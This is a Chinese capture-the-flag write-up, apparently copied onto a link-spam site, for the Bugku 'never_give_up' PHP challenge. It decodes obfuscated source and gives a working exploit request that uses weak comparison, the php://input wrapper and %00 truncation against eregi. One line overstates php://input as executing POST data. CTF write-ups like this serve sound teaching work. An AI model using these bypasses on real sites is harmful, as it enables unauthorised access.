当前位置: 首页 > news >正文

福州建设银行官网招聘网站莱芜区宣传部网站

福州建设银行官网招聘网站,莱芜区宣传部网站,住房和建设厅网站首页,查找公司信息的网站解题思路 F12查看请求和响应&#xff0c;查找线索 相关工具 base64解码URL解码Burp Suit抓包 页面源码提示 <!--1p.html--> 2. 去访问这个文件&#xff0c;发现直接跳转到BUGKU首页&#xff0c;有猫腻那就下载看看这个文件内容吧 爬虫下载这个文件 import requests …

解题思路

  • F12查看请求和响应,查找线索

相关工具

  • base64解码
  • URL解码
  • Burp Suit抓包

页面源码提示

<!--1p.html-->

2. 去访问这个文件,发现直接跳转到BUGKU首页,有猫腻那就下载看看这个文件内容吧

 爬虫下载这个文件

import requests
url='http://114.67.175.224:10469//1p.html'
head={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0'}
html=requests.get(url,headers=head).text
print(html)

得到1p.html内容如下:

可以看到script中有一段注释,内容如下:

var Words ="%3Cscript%3Ewindow.location.href%3D'http%3A%2F%2Fwww.bugku.com'%3B%3C%2Fscript%3E%20%0A
%3C!--JTIyJTNCaWYoISUyNF9HRVQlNUInaWQnJTVEKSUwQSU3QiUwQSUwOWhlYWRlcignTG9jYXRpb24lM0ElMjBoZWxsby5waHAlM0ZpZCUzRDEnKSUzQiUwQSUwOWV4aXQoKSUzQiUwQSU3RCUwQSUyNGlkJTNEJTI0X0dFVCU1QidpZCclNUQlM0IlMEElMjRhJTNEJTI0X0dFVCU1QidhJyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJ2InJTVEJTNCJTBBaWYoc3RyaXBvcyglMjRhJTJDJy4nKSklMEElN0IlMEElMDllY2hvJTIwJ25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJyUzQiUwQSUwOXJldHVybiUyMCUzQiUwQSU3RCUwQSUyNGRhdGElMjAlM0QlMjAlNDBmaWxlX2dldF9jb250ZW50cyglMjRhJTJDJ3InKSUzQiUwQWlmKCUyNGRhdGElM0QlM0QlMjJidWdrdSUyMGlzJTIwYSUyMG5pY2UlMjBwbGF0ZWZvcm0hJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuKCUyNGIpJTNFNSUyMGFuZCUyMGVyZWdpKCUyMjExMSUyMi5zdWJzdHIoJTI0YiUyQzAlMkMxKSUyQyUyMjExMTQlMjIpJTIwYW5kJTIwc3Vic3RyKCUyNGIlMkMwJTJDMSkhJTNENCklMEElN0IlMEElMDklMjRmbGFnJTIwJTNEJTIwJTIyZmxhZyU3QioqKioqKioqKioqJTdEJTIyJTBBJTdEJTBBZWxzZSUwQSU3QiUwQSUwOXByaW50JTIwJTIybmV2ZXIlMjBuZXZlciUyMG5ldmVyJTIwZ2l2ZSUyMHVwJTIwISEhJTIyJTNCJTBBJTdEJTBBJTBBJTBBJTNGJTNF--%3E" 
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
} 
OutWord();

 这里发现 2个 %3C!-- --%3E:明显是URL编码,第一个解码得到

<script>window.location.href='http://www.bugku.com';</script>

这是一段js代码,作用就是嵌入在HTML文档中,用于重定向浏览器当前页面到指定的URL——http://www.bugku.com。而 window.location.href 属性是JavaScript的全局对象window的一个属性,它表示当前窗口(浏览器标签页)加载的网页的完整URL。当你给window.location.href赋值时,浏览器会立即导航到指定的新URL。

第二个就是中间的内容,使用base64解码后得到:

%22%3Bif(!%24_GET%5B'id'%5D)%0A%7B%0A%09header('Location%3A%20hello.php%3Fid%3D1')%3B%0A%09exit()%3B%0A%7D%0A%24id%3D%24_GET%5B'id'%5D%3B%0A%24a%3D%24_GET%5B'a'%5D%3B%0A%24b%3D%24_GET%5B'b'%5D%3B%0Aif(stripos(%24a%2C'.'))%0A%7B%0A%09echo%20'no%20no%20no%20no%20no%20no%20no'%3B%0A%09return%20%3B%0A%7D%0A%24data%20%3D%20%40file_get_contents(%24a%2C'r')%3B%0Aif(%24data%3D%3D%22bugku%20is%20a%20nice%20plateform!%22%20and%20%24id%3D%3D0%20and%20strlen(%24b)%3E5%20and%20eregi(%22111%22.substr(%24b%2C0%2C1)%2C%221114%22)%20and%20substr(%24b%2C0%2C1)!%3D4)%0A%7B%0A%09%24flag%20%3D%20%22flag%7B***********%7D%22%0A%7D%0Aelse%0A%7B%0A%09print%20%22never%20never%20never%20give%20up%20!!!%22%3B%0A%7D%0A%0A%0A%3F%3E

再来一次URL解码

";if(!$_GET['id'])
{header('Location: hello.php?id=1');exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{echo 'no no no no no no no';return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{$flag = "flag{***********}"
}
else
{print "never never never give up !!!";
}?>

代码分析:

    URL需要有三个参数:id、a、b
    对参数a进行限制:使用stripos函数对a进行处理,意思就是a中不能含有.
    $data,使用file_get_contents() 函数对a参数的内容进行读操作,也就是读取a的内容。至于这个@,@ 符号在PHP中用于错误抑制操作,它会阻止该行代码产生的任何错误信息显示出来。如果 $a 指定的文件或URL不存在,或者由于其他原因无法读取,通常PHP会抛出错误信息,但有了 @ 符号,即使发生错误也不会显示错误信息。【忽略报错】
    if语句中
        $data==“bugku is a nice plateform!” ,表示data中要有bugku is a nice plateform!字符串,至于这个参数放哪里,emm,php伪协议 php:// (总之,看到file_get_contents就要想到使用php://input),也就是请求中使用 =php://input.,然后就可以在post 中输入data的字符串。结合 $data = @file_get_contents($a,'r');,说明参数a就是赋值成伪协议php://input,具体见后文新知识
        $id==0,和0弱比较为真,先尝试传参id=0,发现页面会自动跳成id=1,所以,既然0不能用,那和0弱比较为真的就是字符串了,id=输入字母。
        strlen($b)>5:b的长度要大于5
        eregi(“111”.substr($b,0,1),“1114”):eregi已经被弃用(有漏洞,这里利用的就是这个漏洞,称为0x00漏洞,或者%00漏洞),小数点是作为拼接使用,而这里语句表示111和$b 中提取的第一个字符拼接,形成一个新的字符串,然后和1114匹配,匹配的话,则返回 true,否则返回 false。
        使用%00,那拼接就是1114,不论参数b输入什么都被认为是结束了,所以b=%00你想输入的数字,数字长度大于5就行,如b=%0011111.
        substr($b,0,1)!=4,进一步限制,提取拼接的不能是4.

    结合起来解释就是三个参数,id不能为0,a不能包含小数点,b要使用截断来绕过substr($b,0,1)!=4,最后要匹配成1114。

GET /hello.php?id=www&a=php://input&b=%0011111 HTTP/1.1
bugku is a nice plateform!

得到Flag 

新知识点

  1.  html 注释绕过

 注释部分内包含了一个JavaScript函数OutWord,该函数通过unescape方法解码了一个URL编码过的字符串,这个字符串实际内容是另一段JavaScript代码:。当调用OutWord()函数时,它会将URL编码的字符串解码,并通过document.write方法将其写入到文档流中。由于document.write会将内容解析并执行为HTML或JavaScript代码,因此即使原始的JavaScript代码被注释,最终还是实现了页面重定向到http://www.bugku.com的目的。

 2.stripos函数:查找字符串在另一字符串中第一次出现的位置(不区分大小写)。

3. file_get_contents() 函数:把文件的内容读入到一个字符串中

 4.  php://inpu:可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。

在这里插入图片描述
5. 关于00截断原理

参考链接

Bugku---web---never_give_up-CSDN博客
https://blog.csdn.net/qq_36292543/article/details/136676985

http://www.yayakq.cn/news/482358/

相关文章:

  • 比较大的建站公司html进入网页自动播放音乐
  • 网站开发常用哪几种语言上海做seo的公司
  • wordpress 多站点 插件好的微商城平台
  • 深圳做微商网站自己怎么做商城网站
  • 广州住建网站网站建设 实训题
  • jsp网站开发环境搭建怎么做淘宝客网站
  • 维护一个网站需要多少钱5118站长网站
  • 企业网站开发公司大全百度经验手机版官网
  • 南京做网站牛富阳网站建设怎样
  • 网站建设评比考核报告群推广网站
  • wordpress站点地图上海个人网站制作公司
  • 中山网站开发招聘不用下载直接进入的app
  • 做网站创意网站开发是啥了
  • 企业网站建设的材料最好的网络推广方式
  • 敦煌做网站 条件服装品牌策划方案
  • 谷歌网站流量分析网龙网络公司游戏
  • 南京手机网站设计公司重庆网站建设 渝icp
  • 郑州做网站熊掌号域名服务商查询
  • 做暧暧视频网站安全吗wordpress去底部版权信息
  • 游戏棋牌网站建设软件下载页面制作
  • 网站公司建立保定网站seo技术
  • 网站源码怎么做网站c2c网站名称
  • 涿州规划建设局网站网站搭建需要服务器吗
  • 德胜门网站建设wordpress名言插件
  • 建设网站需要懂什么网站运营工作
  • 中国建设银行网站首页joy网站建设的流程简答题
  • 做最好的在线看片网站婚介网站建设
  • 公司网站的建设与运营管理制度南宁网站开发培训
  • 毕业设计做网站low合肥建立网站
  • 程序员接活的平台网站广州网站制作品牌